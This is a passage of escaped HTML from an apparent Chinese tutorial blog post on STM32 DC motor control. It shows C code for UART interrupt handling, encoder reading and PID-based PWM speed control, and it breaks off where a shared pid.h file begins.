class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 根据模式调用MoTo函数执行相应的操作。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// MoTo 函数定义时要把屏幕传过来的 (0/1) 和 真实转动的对应正确\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eMoTo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emode\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 启动定时器,这样其他的中断才会发生。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eStart_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 如果速度或圈数为零,就说明要停下电机。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eMoTo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 调用MoTo函数执行刹停电机。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 重置各种参数(防止下次启动时有上次残留的值) 并且 停止定时器。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eStop_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 重新启用UART发送中断,以便后续可以发送数据。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_ENABLE_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_IT_TXE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 重新启用UART接收中断,以便继续接收数据。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_UART_Receive_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 清空UART的数据寄存器,以确保不会因为残留数据而触发接收中断。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_FLUSH_DRREGISTER\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 清除UART接收缓冲区非空标志位,以确保下一次接收可以正常触发中断。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_CLEAR_FLAG\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_FLAG_RXNE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch5 id=\"固定时间间隔的-中断控制\"\u003e固定时间间隔的 中断控制\u003c/h5\u003e\n\u003cp\u003e之所以要新开一个 tim, 固定时间的读取encoder并设定pwm, 是为了\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eencoder读出的实际可以理解为转动的总距离, 只有时间间隔固定, 我们才能将固定时间的 转动距离差 当作 速度来用\u003c/li\u003e\n\u003cli\u003e防止过快的设置pwm, 别把电机玩坏了(\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e49\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e50\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e51\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e52\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这里读取encoder有一个坑\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 由于这个encoder是一直累加(或减,取决于电机正反转)的, 它累加到最大值(减到0) 就自动重置了\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 因此你上一次读的数 不一定比 这次读的数大, 这样一算差值, 就可能出现一个极其大的负值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 为了防止这种情况, 我们就需要把这个 tim 的读数一开始(main里面就设置了)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 就设定到一个 中间数值(0和最大之间), 并且 每次读完之后都把它设定回去\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这样就能保证每次都得到一个 计算正确的 值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint16_t\u003c/span\u003e \u003cspan class=\"nf\"\u003eRead_Encoder\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint16_t\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_TIM_GET_COUNTER\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTIM2\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eCNT\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x7FFF\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e-=\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x7FFF\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里因为电机 正传反转 有一种情况是累加,一种是累减, 所以有正有负\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 但是计算pid并设置pwm都是正值, 所以返回绝对值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 固定时间间隔的 中断控制, 每0.1秒多执行一次\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_PeriodElapsedCallback\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTIM_HandleTypeDef\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 读取实际转速(相当于转速)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003eRead_Encoder\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 转速累和相当于总距离(实际上转速使用这个总距离做差才算出来的,前面已经解释过了)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 每次先判断是不是已经到了设定的要转的总距离, 如果是, 刹车关定时器重置相关参数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eReality_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 刹车\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eMoTo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 停止计时器\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eStop_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 用PID算法计算出要设定的pwm值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"nf\"\u003ePID\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003epid\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里串口输出一下调试信息,方便查看\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;target: %d, real: %d, set: %d\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 设定pwm值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eSet_Pwm\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch2 id=\"相关代码分享\"\u003e相关代码分享\u003c/h2\u003e\n\u003ch3 id=\"pid\"\u003epid\u003c/h3\u003e\n\u003cp\u003e由某物院实验室佬手写\u003c/p\u003e\n\u003cp\u003epid.h\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan 